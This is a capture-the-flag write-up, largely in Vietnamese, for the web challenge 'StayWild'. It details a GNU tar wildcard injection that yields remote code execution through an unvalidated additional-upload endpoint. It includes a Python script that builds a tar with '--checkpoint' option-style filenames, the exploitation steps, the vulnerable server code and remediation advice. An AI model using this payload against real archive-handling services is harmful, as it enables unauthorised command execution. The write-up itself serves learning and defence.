StayWild
1. Challenge Overview
- Target: Web Application (Archive Upload / Extraction Service)
- Challenge Name: StayWild
- Category: Web
- Vulnerability: GNU tar Wildcard Injection
- Final Impact: Remote Code Execution via option-style filenames
- Final Flag:
omniCTF{w1ldc4rds_can_g3t_w1ld}
TL;DR / Attack Chain
[Hidden /staging Archive Upload] │ (robots.txt hint) ▼[Disabled UI but Real /additional/:id Endpoint] │ (chỉ bị disabled phía client) ▼[Additional Tar Extracts Unchecked Filenames] │ (có thể tạo file bắt đầu bằng --) ▼[Server Runs tar -xvf archive.tar *] │ (shell expand * thành filename do attacker kiểm soát) ▼[GNU tar Checkpoint Option Injection] ──► RCE ──► Read flag2. Reconnaissance & Vulnerability Analysis
Background: Wildcard Characters in Shell
Trong Unix shell, ký tự * sẽ được shell expand thành danh sách file trong thư mục hiện tại.
Ví dụ, nếu thư mục có:
a.txtb.txtc.txtThì lệnh:
echo *sẽ tương đương với:
echo a.txt b.txt c.txtĐiểm nguy hiểm nằm ở chỗ command phía sau có thể coi các filename này như argument. Nếu attacker tạo được file có tên bắt đầu bằng --, shell vẫn expand bình thường, và chương trình có thể hiểu filename đó là option.
GNU tar Wildcard Injection
GNU tar hỗ trợ checkpoint action:
--checkpoint=N--checkpoint-action=exec=CMDNếu attacker tạo được các file có tên:
rce.sh--checkpoint=1--checkpoint-action=exec=sh<rce.shvà server chạy command có glob * trong cùng thư mục:
tar -xvf archive.tar *shell sẽ expand thành dạng:
tar -xvf archive.tar --checkpoint=1 --checkpoint-action=exec=sh<rce.sh rce.sh ...Lúc này tar không còn xem các chuỗi --checkpoint... là filename nữa, mà xem chúng là option thật. Kết quả là command trong rce.sh được thực thi.
Finding the Hidden Feature
Kiểm tra /robots.txt thấy hint:
User-agent: *# Field archive tooling is not ready for public indexing.Hint này dẫn tới chức năng ẩn liên quan đến archive. Sau khi fuzz endpoint, tìm được trang /staging, là interface upload file .tar.
Trong source của trang có form upload bổ sung:
<form action="/additional/1784490535624" method="POST" enctype="multipart/form-data"> <input data-beta-upload class="is-disabled" type="file" name="file" id="files_1784490535624" multiple hidden disabled onchange="this.form.submit()" /> <button data-beta-upload class="is-disabled" type="button" disabled onclick="document.getElementById('files_1784490535624').click()" > Upload additional files <span class="soon">Soon feature</span> </button></form>UI hiển thị nút upload bị disabled, nhưng đây chỉ là kiểm soát phía client. Endpoint /additional/:id vẫn tồn tại và có thể POST trực tiếp.
Understanding Server Behavior
Ban đầu mình thử hướng symlink attack, ví dụ đặt symlink trong tar trỏ tới /etc/passwd hoặc file nhạy cảm. Tuy nhiên ứng dụng không có chức năng download file, nên không có cách đọc lại nội dung symlink. Vì vậy hướng này bị loại.
Để hiểu cách server xử lý, upload:
abc.tarlàm initial archive, gồm các fileaaa,bbb,cccdef.tarqua additional endpoint, gồm các fileddd,eee,fff
Response trả về:
[extraction 1] initial archive passaaabbbccc
[extraction 2] additional extraction passaaabbbccctar: abc.tar: Not found in archivetar: def.tar: Not found in archivetar: Exiting with failure status due to previous errors
[additional archive: def.tar]dddeeefffPhần [extraction 2] rất quan trọng. Nó liệt kê các file đang có trong workspace và tar cố gắng tìm abc.tar, def.tar như archive members.
Điều này gần như xác nhận server đang chạy command dạng:
tar -xvf abc.tar *Trong đó * được shell expand thành toàn bộ filename trong workspace trước khi tar nhận lệnh.
3. Exploit Development
Failed Initial Payload
Payload RCE được đóng gói vào exp.tar với các entry đặc biệt:
import ioimport tarfile
output_file = "exp.tar"
script_content = "cat /opt/wild/.cache/seed-574"
files = { "rce.sh": script_content.encode(), "--checkpoint=1": b"", "--checkpoint-action=exec=sh<rce.sh": b"",}
with tarfile.open(output_file, "w") as tar: for filename, content in files.items(): info = tarfile.TarInfo(filename) info.size = len(content) info.mode = 0o644 tar.addfile(info, io.BytesIO(content))
print(f"Created: {output_file}")Thử upload exp.tar làm initial archive thì bị chặn:
The initial archive contains a blocked filename.Lý do là initial upload có validate tar entry và chặn path component bắt đầu bằng -.
Bypass via Additional Upload
Bypass nằm ở endpoint additional.
Initial upload kiểm tra nội dung bên trong tar, nhưng additional upload chỉ kiểm tra tên file upload bên ngoài. Nếu file upload tên là exp.tar, nó không chứa keyword bị chặn nên được chấp nhận.
Attack flow:
- Upload
abc.tarbình thường làm initial archive. - Upload
exp.tarvào/additional/:id. - Server extract
exp.tar, làm xuất hiện các file:
rce.sh--checkpoint=1--checkpoint-action=exec=sh<rce.sh- Upload thêm một archive bất kỳ, ví dụ
def.tar, để trigger lại additional extraction pass. - Server chạy:
tar -xvf abc.tar *- Shell expand
*ra các filename độc hại, vàtarthực thi:
--checkpoint-action=exec=sh<rce.shKết quả là RCE.
4. Execution & Flag Extraction
Final Payload Generator
Script tạo exp.tar đọc flag:
import ioimport tarfile
output_file = "exp.tar"script_content = "cat /opt/wild/.cache/seed-574"
files = { "rce.sh": script_content.encode(), "--checkpoint=1": b"", "--checkpoint-action=exec=sh<rce.sh": b"",}
with tarfile.open(output_file, "w") as tar: for filename, content in files.items(): info = tarfile.TarInfo(filename) info.size = len(content) info.mode = 0o644 tar.addfile(info, io.BytesIO(content))
print(f"Created: {output_file}")Exploitation Steps
- Tạo archive bình thường
abc.tar:
aaabbbccc- Upload
abc.tartại/staging. - Lấy endpoint additional từ source HTML, dạng:
/additional/<id>- POST trực tiếp
exp.tarvào/additional/<id>. - POST tiếp một archive bất kỳ, ví dụ
def.tar, để kích hoạt commandtar -xvf abc.tar *. - Output trả về có dạng base64:
b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==Decode:
echo "b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==" | base64 -dFlag:
omniCTF{w1ldc4rds_can_g3t_w1ld}5. Post-Solve Source Analysis
Sau khi solve, xem source thì thấy vulnerable command nằm trong runAdditionalCommand:
function runAdditionalCommand(cwd, res, id, uploadedEntries) { const archiveName = getInitialArchiveName(cwd); runWithPty("tar -xvf " + shellQuote(archiveName) + " *", cwd, (output) => { extractAdditionalTarAttachments(cwd, uploadedEntries, (extraOutput) => { const logs = addLogEntry( id, "additional extraction pass", output + extraOutput, ); const files = getWorkspaceFiles(cwd); res.send(resultPage(id, logs, files)); }); });}Lỗi nằm ở đoạn:
"tar -xvf " + shellQuote(archiveName) + " *";archiveName được quote, nhưng * lại được đưa vào shell command. Shell sẽ expand * thành danh sách file trong workspace, bao gồm các filename do attacker tạo ra.
Initial upload có validation khá chặt:
if (normalized.split("/").some((part) => part.startsWith("-"))) { return "option-style filename";}Nhưng additional upload chỉ validate tên file upload bên ngoài:
function blockedAdditionalReason(name) { const lower = String(name || "").toLowerCase(); return ( BLOCKED_ADDITIONAL_TOKENS.find((token) => lower.includes(token)) || null );}Vì exp.tar không chứa token bị chặn, archive được chấp nhận. Nội dung bên trong archive không được scan, nên các filename --checkpoint... được extract vào workspace.
6. Key Takeaways & Remediation
Key Takeaways
-
Wildcard expansion is dangerous with untrusted filenames.
Chỉ cần attacker tạo được file bắt đầu bằng--, command có glob*có thể bị biến thành option injection. -
Client-side disabled is not security.
Nút upload bị disabled trong UI không có ý nghĩa bảo mật nếu endpoint server vẫn nhận request. -
Validation must be consistent.
Initial upload validate tar entries, nhưng additional upload lại không validate nội dung archive. -
Shell commands amplify small mistakes.
Lỗi nằm ở một ký tự*, nhưng vì command chạy qua shell nên tác động trở thành RCE.
Recommended Fixes
- Không dùng shell để gọi
tar; nên dùngspawn/execFilevới argv array. - Không append
*trực tiếp vào shell command. - Validate tất cả tar entries ở mọi upload flow, bao gồm initial và additional.
- Reject mọi path component bắt đầu bằng
-. - Extract archive trong thư mục riêng, mỗi request một workspace sạch.
- Chặn path traversal, symlink abuse và hardlink abuse khi extract.
- Dùng quyền user thấp nhất có thể cho process extract archive.
- Không đưa endpoint beta/disabled lên production nếu server-side chưa kiểm soát đầy đủ.
7. Conclusion
StayWild bị khai thác thông qua GNU tar wildcard injection. Root cause là server chạy tar -xvf archive.tar * trong workspace có filename do user kiểm soát.
Initial upload có chặn filename nguy hiểm, nhưng additional upload không validate nội dung archive. Attacker có thể đặt các file --checkpoint=1 và --checkpoint-action=exec=sh<rce.sh vào workspace, sau đó trigger lại extraction pass để shell expand * và biến các filename này thành option của GNU tar.
Kết quả cuối cùng là RCE và đọc được flag:
omniCTF{w1ldc4rds_can_g3t_w1ld}